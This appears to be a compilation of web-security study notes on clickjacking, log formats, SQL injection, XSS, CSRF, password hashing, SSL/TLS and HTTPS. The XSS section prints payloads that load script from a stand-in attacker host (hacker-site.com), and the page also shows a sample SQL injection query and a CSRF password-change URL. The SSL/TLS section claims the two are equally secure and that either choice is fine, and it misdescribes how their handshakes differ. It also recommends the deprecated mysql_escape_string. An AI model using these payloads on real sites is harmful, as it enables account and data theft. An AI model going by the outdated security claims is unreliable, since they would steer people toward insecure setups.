What is Clickjacking?

A clickjacked page tricks a user into performing undesired actions by clicking on a concealed link. On a clickjacked page, the attackers load another page over it in a transparent layer. The users think that they are clicking visible buttons, while they are actually performing actions on the hidden/invisible page. The hidden page may be an authentic page; therefore, the attackers can trick users into performing actions which the users never intended. There is no way of tracing such actions to the attackers later, as the users would have been genuinely authenticated on the hidden page.


What information does the apache access log contain? - - [05/Feb/2012:17:11:55 +0000] "GET / HTTP/1.1" 200 140 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.5 Safari/535.19"

%h is the remote host (ie the client IP)
%l is the identity of the user determined by identd (not usually used since not reliable)
%u is the user name determined by HTTP authentication
%t is the time the request was received.
%r is the request line from the client. (“GET / HTTP/1.0”)
%>s is the status code sent from the server to the client (200, 404 etc.)
%b is the size of the response to the client (in bytes)
Referer is the Referer header of the HTTP request (containing the URL of the page from which this request was initiated) if any is present, and “-” otherwise.
User-agent is the browser identification string.


Cross Site Scripting (XSS), CSRF and SQL Injection

SQL Injection:
It is the type of attack that takes advantage of improper coding of your web applications that allows hacker to inject SQL commands into say a login form to allow them to gain access to the data held within your database.

In essence, SQL Injection arises because the fields available for user input allow SQL statements to pass through and query the database directly.


The query sent to MySQL will be:

SELECT * FROM users WHERE user='aidan' AND password='' OR ''=''

Cross Site Scripting:

In general, cross-site scripting refers to that hacking technique that leverages vulnerabilities in the code of a web application to allow an attacker to send malicious content from an end-user and collect some type of data from the victim. Always validate user input to avoid cross site scripting.

Cross Site Scripting allows an attacker to embed malicious JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable dynamic page to fool the user, executing the script on his machine in order to gather data. The use of XSS might compromise private information, manipulate or steal cookies, create requests that can be mistaken for those of a valid user, or execute malicious code on the end-user systems. The data is usually formatted as a hyperlink containing malicious content and which is distributed over any possible means on the internet.


SCRIPT SRC=https://hacker-site.com/xss.js
BODY BACK GROUND="javascript:alert('XSS')
IMG S R C="javascript:alert('XSS');
IFRAME S R C=”https://hacker-site.com/xss.html

Simplified View:
XSS is when the user trusts the server too much, CSRF is when the server trusts the user too much

Take these two URL examples that an attacker might send to a victim, the XSS example would abuse a vulnerability on the page and inject javascript into the page and cause the user’s browser to execute the malicious code, the CSRF example causes the server to except malicious input from the user and process it as if the user intended to submit password change:

XSS: http://example.com?variable=a’< script >alert(1)
CSRF: http://example.com/changePassword?userID=1&newPassword=foobar

In simple terms XSS is when you can execute arbitrary Javascript in the victim’s browser typically because input wasn’t sanitised correctly. From there you can do whatever Javascript can, send their cookies to a malicious person, rewrite the DOM to make it seem like the page has been vandalised, redirect them to a malicious page / phishing website, etc.
CSRF is when you trick a user into performing actions with the authority the browser believes they have. Let’s say to change a password you need to submit a form along with being logged in under your account. The server would check you’re logged in via a session token. If I can get this user (‘the victim’) to click on a link which tells the browser to submit the form, the browser will submit it, along with the victim’s logged in session ID (which is always sent when visiting the site). Because as far as the website is concerned the user is logged it and submitting the form it will quite happily complete the action and change the password. An attacker could now log in with the (known) password themselves.

Salted Password Hashing – Doing it Right


Salting inherently makes your user’s passwords better automatically by prepending or appending a random string. So lookup tables become useless.
But if the password hash and salt table is compromised then salt will not help (as in LinkedIn case). LinkedIn should have been using bcrypt, which is an adaptive hash that would have slowed the brute force time down to the order of 10s of hashes per second.


TLS (Transport Layer Security) and SSL (Secure Sockets Layer) are protocols that provide data encryption and authentication between applications in scenarios where that data is being sent across an insecure network, such as checking your email (How does the Secure Socket Layer work?). The terms SSL and TLS are often used interchangeably or in conjunction with each other (TLS/SSL), but one is in fact the predecessor of the other — SSL 3.0 served as the basis for TLS 1.0 which, as a result, is sometimes referred to as SSL 3.1. With this said though, is there actually a difference between the two?

While SSL and TLS differ in ways that make them inoperable with each other, they are generally considered equal in terms of security. The main difference is that, while SSL connections begin with security and proceed directly to secured communications, TLS connections first begin with an insecure “hello” to the server and only switch to secured communications after the handshake between the client and the server is successful. If the TLS handshake fails for any reason, the connection is never created.

Both Internet security protocols ensure that your data is encrypted as it is transmitted across the Internet.  They also both enable you to be sure that the server that you are communication with is the server you intend to contact and not some “middle man eavesdropper”.  This is possible because servers that support SSL and TLS must have certificates issued to them by a trusted third party, like Verisign or Thawte.  These certificates verify that the domain name they are issued for really belongs to the server.  Your computer will issue warnings to you if you try to connect to a server and the certificate that it gets back is not trusted or doesn’t match the site you are trying to connect to.

If you are mostly concerned about your level of security, you can’t really go wrong choosing either SSL or TLS.

What is an SSL Certificate?

A secure sockets layer (SSL) certificate is a digitally signed credential, which is issued by a credentialing agency for a specific organization’s website. SSL certificates are used in Internet technology to ensure the safety of transmissions between a web browser and a server. A browser and server exchange information that indicates that the web server is valid, and the server establishes a secure connection. Users can check their browser’s appearance to determine whether they are on a secure connection.

Any organization that would like to secure its web transmissions will contact a credentialing agency, called a certificate authority, to buy an SSL certificate. The certificate authority, which should be a trusted organization itself, will verify the identity and validity of the requesting organization before issuing a certificate. After a certificate is granted, it is installed on the organization’s web server, and the private and public keys used in encrypting are created.

If a user browses to a website, the browser requests the identity of the web server. The server returns a copy of its SSL certificate. After the certificate is returned, the browser then determines whether the certificate should be trusted. If the browser is uncertain, it might display a message to the user. The user can then examine the certificate and decide whether to continue.

When the browser trusts the SSL certificate, the browser responds to the server without requiring any action from the user. The server will acknowledge the browser’s response, and it starts a secure session. Transmissions shared from here are encrypted, so they are unreadable to a hacker.

The use of SSL certificates is important in fostering user confidence in websites. Certificates are often used on ecommerce sites, where users might be sending credit card information. Use is also essential for financial services websites, such as online banking and payment fulfillment sites. Other sites that might request personal information such as addresses, birth dates or health information will also typically use SSL certificates.

Users might wish to verify that they are on secure websites before sending private information. To verify, the user can examine the browser’s address bar. The address will usually begin with “https” instead of “http.” In this case, “https” refers to the term “hypertext transfer protocolsecure.” Different browsers might also use other methods of indicating to a user that he or she is visiting a site using an SSL certificate, such as a displaying a lock or information about the secure connection in the address bar or status bar.


(http) is a system for transmitting and receiving information across the Internet. Http serves as a request and response procedure that all agents on the Internet follow so that information can be rapidly, easily, and accurately disseminated between servers, which hold information, and clients, who are trying to access it. Http is commonly used to access html pages, but other resources can be utilized as well through http. In many cases, clients may be exchanging confidential information with a server, which needs to be secured in order to prevent unauthorized access. For this reason, https, or secure http, was developed by Netscape  to allow authorization and secured transactions.

In many ways, https is identical to http, because it follows the same basic protocols. The http or https client, such as a Web browser, establishes a connection to a server on a standard port. When a server receives a request, it returns a status and a message, which may contain the requested information or indicate an error if part of the process malfunctioned. Both systems use the same Uniform Resource Identifier (URI) scheme, so that resources can be universally identified. Use of https in a URI scheme rather than http indicates that an encrypted connection is desired.

There are some primary differences between http and https, however, beginning with the default port, which is 80 for http and 443 for https. Https works by transmitting normal http interactions through an encrypted system, so that in theory, the information cannot be accessed by any party other than the client and end server. There are two common types of encryption layers: Transport Layer Security (TLS) and Secure Sockets Layer (SSL), both of which encode the data records being exchanged.

When using an https connection, the server responds to the initial connection by offering a list of encryption methods it supports. In response, the client selects a connection method, and the client and server exchange certificates to authenticate their identities. After this is done, both parties exchange the encrypted information after ensuring that both are using the same key, and the connection is closed. In order to host https connections, a server must have a public key certificate, which embeds key information with a verification of the key owner’s identity. Most certificates are verified by a third party so that clients are assured that the key is secure.

Https is used in many situations, such as log-in pages for banking, forms, corporate log ons, and other applications in which data needs to be secure. However, if not implemented properly,https is not infallible, and therefore it is extremely important for end users to be wary about accepting questionable certificates and cautious with their personal information while using the Internet.


Security in web applications

Some common terms in web application security testing:

Password Cracking:  In order to log in to the private areas of the application, one can either guess a username/ password or use some password cracker tool for the same. Lists of common usernames and passwords are available along with open source password crackers.  Enforce a complex password (e.g. with alphabets, number and special characters, with at least a required number of characters)

URL manipulation:  Check all ranges of input variables. Dont accept values which are not needed by the application. Avoid forming dynamic variables.

SQL Injection: This is the process of inserting SQL statements through the web application user interface into some query that is then executed by the server.  Escape the quotes. Use mysql_escape_string or equivalent.

Cross Site Scripting:  When a user inserts HTML/ client-side script in the user interface of a web application and this insertion is visible to other users, it is called XSS. All HTML tags should be scrubbed from the variables. Dont use eval directly on any user input.

Spoofing: The creation of hoax look-alike websites or emails is called spoofing.  Use identity images like the ones Yahoo! and bank websites are using so that user is confident he is logging on to the correct system.

Crumbs: To ensure user has come from a  previous page in the flow and not directly.